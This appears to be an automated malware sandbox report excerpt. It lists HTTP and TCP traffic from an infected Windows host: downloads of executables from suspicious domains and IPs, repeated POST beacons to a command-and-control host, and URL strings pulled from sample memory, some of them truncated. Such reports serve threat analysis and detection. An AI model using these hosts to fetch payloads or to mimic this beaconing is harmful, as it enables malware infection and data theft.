Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vukwltcu.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 122Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lnwhd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 260Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://whpernmmb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 276Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rwwaasnsg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 277Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://weeyh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jpkelrew.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 342Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hlqcmdcx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 149Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lpxlc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 276Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://imhlo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 147Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eaidisso.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 233Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yacyom.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ebhyi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 345Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jtcndb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vdbegiq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 228Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eoepn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jrhtrk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jwibqkk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 355Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xnipfqvpe.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/2264_1640622147_2258.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yifcjya.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rxxfahr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 279Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vfpht.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://adqghmyhj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 129Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hujcrsouk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 126Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mketq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 347Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nlilrsybs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 359Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mpbvjio.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 229Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yqtmbdjjxy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 318Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /stlr/maps.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 91.243.44.128
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://igwdjt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 251Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xmhrnshbsf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 119Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tmtvrgtd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 123Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mnjhltsqk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 288Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://npiwsugx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xqkct.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 331Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://awejs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hxmnbo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jjctmvu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 270Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ikexxrgenj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: host-data-coin-11.com

Source: global traffic	TCP traffic: 192.168.2.3:49793 -> 185.7.214.171:8080
Source: global traffic	TCP traffic: 192.168.2.3:49835 -> 86.107.197.138:38133

Source: 8CA5.exe, 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp	String found in binary or memory: http://185.7.214.239/POeNDXYchB.php
Source: 8CA5.exe, 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp	String found in binary or memory: http://185.7.214.239/sqlite3.dll
Source: 7728.exe, 00000023.00000002.577125327.0000000002861000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.41/
Source: 7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.41/capibar
Source: 7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.41:80/capibar
Source: 7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.53/capibar
Source: 7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	String found in binary or memory: http://194.180.174.53:80/capibar
Source: 7728.exe, 00000023.00000002.577012265.000000000284D000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148/
Source: 7728.exe, 00000023.00000002.577012265.000000000284D000.00000004.00000001.sdmp, 7728.exe, 00000023.00000002.576965645.0000000002848000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148/capibar
Source: 7728.exe, 00000023.00000002.577012265.000000000284D000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148/l
Source: 7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148:80/capibarA
Source: 7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.148:80/capibarb
Source: 7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.18/capibar
Source: 7728.exe, 00000023.00000002.577012265.000000000284D000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.18/capibarll
Source: 7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	String found in binary or memory: http://91.219.236.18:80/capibar
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: 4D1A.exe, 00000019.00000002.441039139.000000000081B000.00000004.00000001.sdmp	String found in binary or memory: http://file-file-host4.com/sqlite3.dll
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: http://file-file-host4.com/tratata.php
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: 8CA5.exe, 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp	String found in binary or memory: http://hos.7.214.239/POeNDXYchB.php
Source: 4D1A.exe, 00000019.00000002.441039139.000000000081B000.00000004.00000001.sdmp	String found in binary or memory: http://hose-file-host4.com/tratata.php
Source: AppLaunch.exe, 0000002A.00000002.575983588.000000000532C000.00000004.00000001.sdmp	String found in binary or memory: http://iptc.tc4xmp.
Source: AppLaunch.exe, 0000002A.00000002.575983588.000000000532C000.00000004.00000001.sdmp	String found in binary or memory: http://ns.ado/Ident
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
